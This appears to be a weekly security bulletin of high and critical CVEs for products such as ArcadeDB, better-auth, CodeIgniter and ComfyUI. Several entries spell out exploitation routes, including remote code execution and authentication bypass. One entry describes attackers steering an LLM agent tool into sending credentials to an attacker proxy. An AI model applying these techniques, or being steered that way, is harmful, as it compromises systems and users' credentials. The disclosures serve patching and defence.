| ArcadeData--arcadedb                                   | ArcadeDB before 26.7.2 (arcadedb-engine) allows trigger scripts to look up host classes in java.lang.* (via Java.type) because ScriptTriggerExecutor adds java.lang.* to the allowed packages. An authenticated user with UPDATE_SCHEMA permission can create a JavaScript trigger that invokes java.lang.Runtime.getRuntime().exec() (or ProcessBuilder), achieving OS command execution when the trigger fires.                                                                                                                                                                                                                                                                                                                                                                                       | 2026-08-01 | 9.8        | <a href="#">CVE-2026-67340</a> |
| ArcadeData--arcadedb                                   | ArcadeDB versions before 26.7.2 fail to enforce scripting authorization checks on the SQL DEFINE FUNCTION statement with LANGUAGE js. Attackers with database access can execute arbitrary JavaScript code by submitting DEFINE FUNCTION statements, bypassing security controls intended to restrict scripting to administrators.                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-08-01 | 9.8        | <a href="#">CVE-2026-67341</a> |
| ArcadeData--arcadedb                                   | ArcadeDB versions before 26.7.2 contain an authorization bypass vulnerability in HTTP handlers for time series, batch, Prometheus, and Grafana endpoints that fail to validate database access permissions. Attackers can access and modify databases they are not authorized to use by directly calling affected endpoints with arbitrary database parameters.                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-08-01 | 9.8        | <a href="#">CVE-2026-67342</a> |
| ArcadeData--arcadedb                                   | ArcadeDB versions before 26.7.2 fail to properly redact the cluster token in the GET /api/v1/server endpoint, allowing authenticated users to retrieve the arcadedb.ha.clusterToken value in cleartext. Attackers can use the leaked token with X-ArcadeDB-Cluster-Token and X-ArcadeDB-Forwarded-User headers to impersonate root and execute administrative actions including user creation, database operations, and server shutdown.                                                                                                                                                                                                                                                                                                                                                                | 2026-08-01 | 8.8        | <a href="#">CVE-2026-67343</a> |
| ArcadeData--arcadedb                                   | ArcadeDB before 26.7.3 binds the real LocalDatabase object into JavaScript trigger contexts with HostAccess.ALL, allowing schema-admins to call getSecurity().createUser() without permission checks. Attackers with UPDATE_SCHEMA permission can create triggers that execute JavaScript to create server-wide admin users, escalating privileges beyond their authorization level.                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-08-02 | 8.8        | <a href="#">CVE-2026-67356</a> |
| ArcadeData--arcadedb                                   | ArcadeDB versions before 26.7.3 contain an information disclosure vulnerability in the MCP get_server_settings tool that leaks the arcadedb.ha.clusterToken in cleartext. Attackers with MCP access can retrieve the cluster token and use it with X-ArcadeDB-Cluster-Token and X-ArcadeDB-Forwarded-User headers to impersonate root and achieve full server compromise.                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-08-02 | 7.5        | <a href="#">CVE-2026-67357</a> |
| ArcadeData--arcadedb                                   | ArcadeDB versions before 26.7.3 fail to bind the authenticated principal in the MCP HTTP transport, causing all engine permission checks to silently pass as no-ops. Non-root MCP-allowed users can perform arbitrary database writes, DDL, schema mutations, and execute arbitrary JavaScript code via the query tool.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-08-02 | 7.5        | <a href="#">CVE-2026-68578</a> |
| Arista Networks--<br>VeloCloud<br>Orchestrator On-Prem | VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. This functionality was intended to be for internal use only and is not intended to be remotely accessible. Hosted and Dedicated versions of VCO have already been                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 10         | <a href="#">CVE-2026-16812</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                   | patched in advance of this notice going out. This issue was discovered externally and is known to be actively exploited.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| Arista Networks--VeloCloud Orchestrator On-Prem                                   | An input validation vulnerability exists in an API component of the orchestrator. An authenticated user can exploit this flaw to manipulate backend queries, which may result in unauthorized access to data beyond their intended privileges and cause the underlying system to initiate unintended outbound network connections. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-27 | 9.1        | <a href="#">CVE-2026-17191</a> |
| Arista Networks--VeloCloud Orchestrator On-Prem                                   | A VCO feature does not sufficiently validate caller-supplied input, allowing requests to be made on behalf of authenticated tenant accounts to internal services that are not otherwise accessible. This vulnerability requires a minimum role of Enterprise Standard Admin. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 8.5        | <a href="#">CVE-2026-17192</a> |
| ArkSigner Software and Hardware Industry and Trade Inc.--ArkSigner Desktop Client | Uncontrolled Search Path Element vulnerability in ArkSigner Software and Hardware Industry and Trade Inc. ArkSigner Desktop Client allows Search Order Hijacking. This issue affects ArkSigner Desktop Client: from v2.2.16.10 through 17062026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-28 | 7.3        | <a href="#">CVE-2026-8164</a>  |
| ArticaTech--Artica Proxy                                                          | Artica Proxy before 4.50.000000 Service Pack 7 (fixed in hotfix 20260724-02) contains a session fixation vulnerability that allows unauthenticated attackers to hijack administrative sessions by setting a known PHPSESSID on a victim's browser prior to authentication. Attackers can pre-set a controlled session identifier and wait for a victim to authenticate through fw.login.php, after which the attacker gains a fully authenticated administrative session on port 9000.                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-28 | 7.5        | <a href="#">CVE-2026-66745</a> |
| ASE--Admin and Site Enhancements (ASE) Pro                                        | The Admin and Site Enhancements (ASE) Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.9.0 via the recursive_html function. This is due to the frontend save handler enforces only a publicly emitted nonce with no authentication check, CAPTCHA validation is bypassable by omitting an attacker-supplied key, and repeater row keys from cfgroup[input] are stored verbatim and later spliced into an eval() call in recursive_html without any sanitization or identifier validation. This makes it possible for unauthenticated attackers to execute code on the server. This requires the [post_cf_form] shortcode to be present on at least one publicly accessible page, as the nonce and session ID needed to reach the vulnerable save handler are emitted to unauthenticated visitors by that shortcode. | 2026-07-30 | 9.8        | <a href="#">CVE-2026-16610</a> |
| Aurovrat Venet--Post My CF7 Form                                                  | Unauthenticated Broken Access Control in Post My CF7 Form <= 6.2.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59534</a> |
| Autodesk--AutoCAD                                                                 | A maliciously crafted DXF file, when parsed through Autodesk AutoCAD, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-29 | 7.8        | <a href="#">CVE-2026-16463</a> |
| AWS--Amplify Codegen UI                                                           | Improper control of code generation in Amazon @aws-amplify/codegen-ui-react before 2.20.6 might allow a remote authenticated user to execute arbitrary code in end-user browsers, developer machines, CI/CD environments, and server-side rendering contexts via crafted Studio component or theme schema values due to insufficient coverage and effectiveness of the input validation introduced for CVE-2025-4318. To remediate this issue, users should upgrade to version 2.20.6                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 9          | <a href="#">CVE-2026-18245</a> |
| AWS--AWS Ops Wheel                                                                | Stored cross-site scripting in the participant URL handling in AWS Ops Wheel before PR #168 might allow an authenticated remote user to steal session tokens and escalate to full administrative control of the deployed instance via a crafted participant_url value containing a dangerous URI scheme. To remediate this issue, users should redeploy from the latest version of aws-ops-wheel.                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-31 | 7.3        | <a href="#">CVE-2026-18481</a> |
| AWS--aws-smithy-json                                                              | Uncontrolled recursion in the unknown-key skip path of the aws-smithy-json runtime crate before 0.62.7, which the smithy-rs code generator invokes from every generated struct deserializer, might allow remote unauthenticated users to cause a denial of service (process abort via stack exhaustion) via a single small HTTP request containing deeply nested JSON to a smithy-rs generated server. To remediate this issue, users should upgrade to aws-smithy-json 0.62.7 or later and rebuild.                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-30 | 7.5        | <a href="#">CVE-2026-18140</a> |
| AWS--Strands Agents Tools                                                         | Incorrect authorization in the http_request tool in Strands Agents Tools before 0.8.2 might allow remote attackers to obtain credentials configured via HTTP_REQUEST_TOKEN_CONFIG by influencing the LLM to route requests through actor-controlled proxy infrastructure. To remediate this issue, users should upgrade to version 0.8.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-31 | 7.4        | <a href="#">CVE-2026-18394</a> |



# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| bablilayoub--openhole              | openhole exposes localhost to the internet in one command. In 0.1.1 and earlier, openhole-server in internal/server/public_proxy.go forwarded r.URL.Path instead of preserving the original request target with r.URL.EscapedPath(), allowing percent encoded dot segments %2e and separators %2f to reach tunneled local services as ../ and / for path traversal. This issue is fixed in version 0.1.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-28 | 8.6        | <a href="#">CVE-2026-54650</a> |
| bank-vaults--vault-secrets-webhook | vault-secrets-webhook is a Kubernetes mutating webhook that makes direct secret injection into Pods possible. Prior to 1.23.1, parseVaultConfig() in pkg/webhook/config.go accepts the vault.security.banzaicloud.io/vault-addr annotation, MutateConfigMap and MutateSecret call newVaultClient in pkg/webhook/webhook.go, and vault.security.banzaicloud.io/vault-serviceaccount can cause a ServiceAccount JWT to be sent to an attacker-controlled Vault address. This issue is fixed in version 1.23.1.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-31 | 9.6        | <a href="#">CVE-2026-54725</a> |
| better-auth--better-auth           | Better Auth relies on better-call, which uses the rou3 router library. In affected versions of rou3, paths are normalized by removing empty segments, so /path, //path, and ///path resolve to the same route. In Better Auth versions prior to 1.4.5 (which bundles the fixed rou3), this can allow attackers to bypass disabledPaths configuration and path-based rate limits by submitting requests with extra slashes in the URL path. The issue does not apply in deployments where the proxy or platform normalizes URLs by collapsing multiple slashes.                                                                                                                                                                                                                                                                                                                                | 2026-08-02 | 8.6        | <a href="#">CVE-2025-71399</a> |
| better-auth--better-auth           | better-auth versions >= 1.1.3 and < 1.6.22 (and pre-release versions >= 1.7.0-beta.0 and < 1.7.0-beta.10) are vulnerable to account takeover via pre-account hijacking on magic-link and email-OTP sign-in when open email/password registration is enabled. An attacker registers an account with the victim's email address and an attacker-chosen password; the account remains unverified. When the legitimate owner later signs in via the magic-link or email-OTP passwordless flow, the account is marked verified without removing the pre-existing password or revoking existing sessions, so the attacker's password remains valid, granting persistent access to the victim's account. Fixed in 1.6.22 and 1.7.0-beta.10.                                                                                                                                                          | 2026-08-01 | 8.3        | <a href="#">CVE-2026-67327</a> |
| better-auth--better-auth           | better-auth versions before 1.6.11 contain insecure cryptographic defaults in the oidcProvider and mcp plugins that advertise the none algorithm and accept plain PKCE by default. Attackers can exploit algorithm negotiation to accept unsigned tokens or intercept authorization codes when PKCE plain is used instead of the required S256 method.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-08-01 | 8.7        | <a href="#">CVE-2026-67336</a> |
| better-auth--better-auth           | better-auth versions before 1.1.20 contain a bypass vulnerability in trustedOrigins validation logic affecting absolute URLs and wildcard domains. Attackers can construct malicious callbackURL parameters that pass origin checks and trigger open redirects to steal sensitive tokens for account takeover.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-08-01 | 7.1        | <a href="#">CVE-2025-71403</a> |
| better-auth--better-auth           | better-auth before 1.6.13 (and pre-release builds 1.7.0-beta.0 through 1.7.0-beta.3) fail to validate the scheme of redirect_uris registered via the deprecated oidc-provider plugin and the mcp plugin (which wraps the same provider). An attacker can register an OAuth client with a javascript: redirect_uri, which the authorization server later returns unchanged in the consent response. If the deployment's consent page navigates the browser to the returned redirectURI (e.g. assigning it to window.location.href), the attacker's JavaScript executes in the authorization-server origin, exposing the victim's session and enabling account takeover.                                                                                                                                                                                                                        | 2026-08-01 | 7.2        | <a href="#">CVE-2026-67333</a> |
| better-auth--passkey               | better-auth passkey versions before 1.4.0 contain an insecure direct object reference vulnerability in the passkey deletion endpoint that allows authenticated users to delete arbitrary passkeys by ID. Attackers with valid sessions can submit crafted requests to the delete-passkey endpoint with enumerated passkey IDs to remove other users' passkeys.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-08-02 | 7.1        | <a href="#">CVE-2025-71400</a> |
| better-auth--scim                  | @better-auth/scim (a better-auth plugin) versions >= 1.4.0-beta.27 through <= 1.6.21 and >= 1.7.0-beta.0 through <= 1.7.0-beta.9 contain an authorization bypass. SCIM token issuance did not reject provider IDs already used by existing SSO, SAML, OIDC, generic OAuth, or social account providers, and the same logical provider ID was used for both SCIM provider configuration and account ownership. An authenticated user could mint a SCIM token whose provider ID collided with an existing provider namespace, causing SCIM user routes to resolve account rows the token never provisioned. This allowed listing, reading, updating (including rewriting global profile/email fields without uniqueness checks), and deleting global user accounts and sessions, resulting in account takeover and unauthorized deprovisioning. Fixed in 1.6.22 and 1.7.0-beta.10 (1.7.0-rc.0). | 2026-08-01 | 9.9        | <a href="#">CVE-2026-67330</a> |
| better-auth--scim                  | better-auth SCIM versions from 1.5.0 before 1.7.0-beta.4 fail to bind non-organization SCIM providers to their creator by default, allowing authenticated users to manage other users' providers. Attackers can regenerate SCIM bearer                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-08-01 | 8.3        | <a href="#">CVE-2026-67331</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                      | tokens, invalidate legitimate tokens, and authenticate to SCIM API routes with the attacker-controlled token.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| better-auth--sso                                                                                     | @better-auth/sso versions before 1.6.21 contain multiple authentication bypass vulnerabilities in SSO provider handling that allow attackers to sign in as arbitrary users. Attackers can exploit domain verification parsing mismatches, orphaned provider accounts, unbound SAML assertions, or reflected XSS on logout endpoints to gain unauthorized session access and account takeover.                                                                                                                                                                                                                                                                                                                                                                                          | 2026-08-01 | 8.1        | <a href="#">CVE-2026-67328</a> |
| better-auth--stripe                                                                                  | @better-auth/stripe versions >= 1.4.11 and < 1.6.21, and >= 1.7.0-beta.0 and < 1.7.0-beta.10, contain an authorization bypass in organization subscription actions. The middleware validates the organization ID taken from the request query string against the authorizeReference callback, but the handler reads the organization ID only from the request body and falls back to the caller's active organization from their session. When these differ, an authenticated member of multiple organizations can perform subscription actions (cancel, change plan, restore, billing portal access) against an organization they belong to but should not manage, and can access another organization's billing details including payment methods, invoices, and subscription state. | 2026-08-01 | 7.1        | <a href="#">CVE-2026-67329</a> |
| bitpressadmin--Bit integrations Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation | The Bit integrations - Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.9.0 via the processAttachment function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.                                                                                                                                                                                                                                                                                                                                                                                             | 2026-08-01 | 7.5        | <a href="#">CVE-2026-15006</a> |
| BlackBerry Ltd--QNX Software Development Platform                                                    | Improper Input Validation in the decode() function of the traceparser library could allow an attacker with a corrupted kernel trace event log (.kev) file, to execute arbitrary code or cause a crash in processes that use libtraceparser in QNX hosts or targets.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-29 | 7          | <a href="#">CVE-2026-40272</a> |
| boazsegev--facil.io                                                                                  | facil.io 0.6.0 through 0.7.6 contains an integer underflow vulnerability in the multipart MIME body parser that allows unauthenticated remote attackers to crash the server process by sending a crafted Content-Disposition header with an empty field name. Attackers can trigger a uint32_t wraparound in http_mime_parser.h causing an out-of-bounds memory read past the name pointer, resulting in a bus fault that crashes the handling worker with a single POST request.                                                                                                                                                                                                                                                                                                      | 2026-07-27 | 7.5        | <a href="#">CVE-2026-66729</a> |
| boazsegev--facil.io                                                                                  | facil.io 0.6.0 through 0.7.6 contains a denial-of-service vulnerability in the multipart body parser that allows an unauthenticated remote attacker to permanently freeze worker processes at 100% CPU by sending a multipart/form-data request with a partial closing boundary. The missing progress guard in the parser loop causes http_mime_parse to return 0 bytes consumed without setting done or error flags, causing the calling loop to re-invoke the parser on the same buffer indefinitely, exhausting all workers and permanently disabling the server until manually restarted.                                                                                                                                                                                          | 2026-07-27 | 7.5        | <a href="#">CVE-2026-66730</a> |
| boazsegev--facil.io                                                                                  | facil.io 0.7.5 through 0.7.6 contains a denial-of-service vulnerability in the HTTP/1.1 chunked transfer encoding parser that allows unauthenticated remote attackers to crash the server by sending a negative chunk size value. Attackers can send a single POST request with a Transfer-Encoding: chunked header containing a leading minus sign in the chunk size field, causing the parser in http1_parser.h to compute a large positive integer from the negated value, corrupting internal state and moving the read pointer into unmapped memory resulting in a fault.                                                                                                                                                                                                         | 2026-07-27 | 7.5        | <a href="#">CVE-2026-66731</a> |
| Bosch--BSH ELP (Electronic Platform) Modules                                                         | The SSH service on BSH ELP (Electronic Platform) modules contains a platform-specific vulnerability due to an improperly secured default configuration. An insecure, non-revocable SSH public key is included in the firmware's authorized_keys file for the root user. An attacker in possession of the corresponding private key could leverage it to bypass authentication and gain root-level access to the appliance.                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 8.1        | <a href="#">CVE-2026-56428</a> |
| britcoder--Single Sign On For TNG                                                                    | The Single Sign On For TNG plugin for WordPress is vulnerable to Authentication Bypass via unauthenticated password reset in all versions up to, and including, 2.0.0. This is due to the `ssoprocess_ajax()` function - registered on `wp_ajax_nopriv_ssoprocess_ajax` and therefore reachable without authentication - accepting an attacker-supplied `email` parameter with the `setnewpassword` operation and calling `reset_password()` on the resolved account without any ownership token, email confirmation link, or capability check. The sole guard is a call to `check_ajax_referer()`, which provides no authorization barrier because the `ssoajaxnonce` nonce is publicly broadcast on every front-end page via                                                         | 2026-08-01 | 9.8        | <a href="#">CVE-2026-15964</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                 | `wp_localize_script()` into the `SSOPWDREQUIREMENT` JavaScript object; since WordPress computes nonces for logged-out visitors against a shared anonymous session context, any unauthenticated visitor can scrape a valid nonce from the homepage and use it to authenticate the request. This makes it possible for unauthenticated attackers to change the password of any WordPress account, including administrator accounts, enabling complete site takeover.                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| buddypress--BuddyPress                                          | The BuddyPress plugin for WordPress is vulnerable to Deserialization of Untrusted Data in all versions up to, and including, 14.5.0 This is due to the `bp_unserialize_profile_field()` function using `@unserialize()` without the `allowed_classes` parameter on user-controlled XProfile field data. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary PHP objects via XProfile textbox fields, which could lead to remote code execution if a suitable POP chain is available in the WordPress environment.                                                                                                                                                                                                                                  | 2026-07-30 | 7.5        | <a href="#">CVE-2026-1360</a>  |
| Byteflows--Byteflows Travel & Hotel Booking                     | Unauthenticated Sensitive Data Exposure in Byteflows Travel & Hotel Booking <= 1.0.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59548</a> |
| Canon Production Printing--PRISMAproduction                     | A deserialization vulnerability in PRISMAproduction Version 6.5 or earlier that may lead to arbitrary code execution.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-08-02 | 7.5        | <a href="#">CVE-2026-3245</a>  |
| Care Everywhere LLC--Care Everywhere Gateway                    | Care Everywhere Gateway 14.3.10 contains a hard-coded credentials vulnerability in the bundled WildFly 8.2.0.Final management interface that allows unauthenticated remote attackers to gain administrative access by using default credentials identical across all installations. Attackers can authenticate to the exposed WildFly management console on port 20990 and deploy a malicious Web Application Archive file through the Deployments interface to achieve remote code execution as the Windows machine account. Version 14.x.x was declared end-of-life (EOL) in 2017 and future releases have addressed the vulnerable finding.                                                                                                                                                                 | 2026-07-29 | 9.8        | <a href="#">CVE-2026-41939</a> |
| Christoph Vielgrader--Relevanssi Light                          | Unauthenticated SQL Injection in Relevanssi Light <= 1.2.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 9.3        | <a href="#">CVE-2026-59533</a> |
| clastix--kamaji                                                 | Kamaji is the Hosted Control Plane Manager for Kubernetes. Prior to 26.7.4-edge, Kamaji derives a TenantControlPlane datastore schema, database user, and etcd key prefix from a lossy namespace-and-name normalization in GetDefaultDatastoreSchema() and GetDefaultDatastoreUsername(), allowing distinct tenants with colliding normalized identifiers to share control-plane state and read, modify, or destroy another tenant's Kubernetes data. This issue is fixed in version 26.7.4-edge.                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 8.5        | <a href="#">CVE-2026-62246</a> |
| CleanTalk Inc--Spam protection, AntiSpam, FireWall by CleanTalk | Unauthenticated Cross Site Scripting (XSS) in Spam protection, AntiSpam, FireWall by CleanTalk <= 6.82 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65437</a> |
| cloudreve--cloudreve                                            | Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, POST /api/v4/admin/policy/oauth/signin requires only Admin.Read even though GetOAuthRedirectService persists caller-supplied OneDrive secret and app_id values, allowing an OAuth token without Admin.Write to modify storage policy credentials. The route is inside the admin group that requires Admin.Read, but it does not add the local Admin.Write guard used by sibling policy mutation routes. Its handler persists attacker-supplied secret and app_id values into the selected OneDrive storage policy before returning an OAuth URL. This issue is fixed in version 4.17.0.                                                                                                                                        | 2026-07-31 | 7.1        | <a href="#">CVE-2026-55502</a> |
| CoCart Headless--CoCart Headless ecommerce                      | Unauthenticated Broken Access Control in CoCart - Headless ecommerce <= 4.8.4 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59536</a> |
| code4life--Database for CF7                                     | The Database for CF7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Array Form Field Values in all versions up to, and including, 1.2.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because Contact Form 7 accepts array-structured input for ordinary text fields (e.g., your-name[]) via the public REST API endpoint /wp-json/contact-form-7/v1/contact-forms/{id}/feedback, and the plugin stores submitted data using \$wpdb INSERT with serialize() into a custom wp_cf7db table, bypassing WordPress save-time filtering via wp_insert_post/wp_kses. | 2026-07-29 | 7.2        | <a href="#">CVE-2026-13425</a> |
| codeigniter4--CodeIgniter4                                      | CodeIgniter is a PHP full-stack web framework. From 4.3.0 through 4.7.3, Query Builder deleteBatch() substitutes bound values from where() conditions into                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-31 | 9.4        | <a href="#">CVE-2026-63221</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                              | generated SQL while ignoring their escape flags, allowing user-controlled condition values to be interpreted as SQL. This affects only the deleteBatch() code path. Regular delete() operations escape where() binds correctly. This issue is fixed in version 4.7.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| codeigniter4--CodeIgniter4                                   | CodeIgniter is a PHP full-stack web framework. Prior to 4.7.4, the is_image and mime_in upload validation rules do not independently enforce a safe client filename extension, allowing a remote attacker to upload executable content when an application preserves the client filename and stores uploads in a web-accessible script-enabled directory. Applications are impacted when they validate uploads using is_image or mime_in without an independent safe extension check (such as ext_in on patched versions), save uploaded files using the client-supplied filename, and place uploads in a web-accessible directory where PHP files can execute. This issue is fixed in version 4.7.4.                                                                                                                                                                                                                                                                                    | 2026-07-31 | 9.8        | <a href="#">CVE-2026-63223</a> |
| codeigniter4--CodeIgniter4                                   | CodeIgniter is a PHP full-stack web framework. Prior to 4.7.4, calling UploadedFile::move() without a second argument uses the client-provided filename without sanitization, allowing a remote attacker to use path traversal sequences to write uploaded content outside the intended directory when the application exposes an upload path. This issue is fixed in version 4.7.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-31 | 7.5        | <a href="#">CVE-2026-63222</a> |
| codename065--Premium Packages Sell Digital Products Securely | The Premium Packages - Sell Digital Products Securely plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter of the POST /wp-json/wpdmpp/v1/cart/coupon REST API endpoint in versions up to, and including, 6.2.0. This is due to insufficient escaping on the user-supplied parameter, which is interpolated directly into a raw SQL query string in the CouponCodes::find() method without use of \$wpdb->prepare() or esc_sql(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 7.5        | <a href="#">CVE-2026-12800</a> |
| Comfy-Org--ComfyUI                                           | ComfyUI v0.23.0 contains an unsafe deserialization vulnerability in the LoadTrainingDataset node that allows unauthenticated remote attackers to execute arbitrary Python code by uploading a crafted pickle file and triggering its deserialization. Attackers can upload a malicious shard_*.pkl file via the unauthenticated POST /upload/image endpoint and then queue a workflow graph via POST /prompt referencing the uploaded file, causing torch.load to deserialize the attacker-controlled pickle payload using __reduce__ and execute arbitrary commands as the ComfyUI process user.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-31 | 9.8        | <a href="#">CVE-2026-68771</a> |
| Comfy-Org--ComfyUI                                           | ComfyUI is a modular diffusion model GUI, api and backend with a graph/nodes interface. Prior to 0.28.0, the /view endpoint served uploaded SVG files inline because image/svg+xml and related XML content types were absent from the dangerous-content-type handling, allowing stored cross-site scripting in the ComfyUI origin. This issue is fixed in version 0.28.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-31 | 8.2        | <a href="#">CVE-2026-56670</a> |
| Comfy-Org--ComfyUI                                           | ComfyUI is a node-based diffusion model GUI, API, and backend. Prior to 0.28.0, GET /userdata/{file} served user-controlled HTML and SVG files with extension-derived content types, allowing stored cross-site scripting in the ComfyUI origin and access to browser-stored API tokens, settings, workflows, and authenticated-equivalent API calls. The handler used web.FileResponse(path), so an uploaded .html/.svg was served as text/html/image/svg+xml. POST /userdata stores arbitrary request bodies (confined to the user's userdata directory). When a victim navigated to the file URL, the embedded script executed same-origin. The /view endpoint already forced dangerous MIME types to download; that protection had never been applied to /userdata. This issue is fixed in version 0.28.0.                                                                                                                                                                           | 2026-07-31 | 8.2        | <a href="#">CVE-2026-56672</a> |
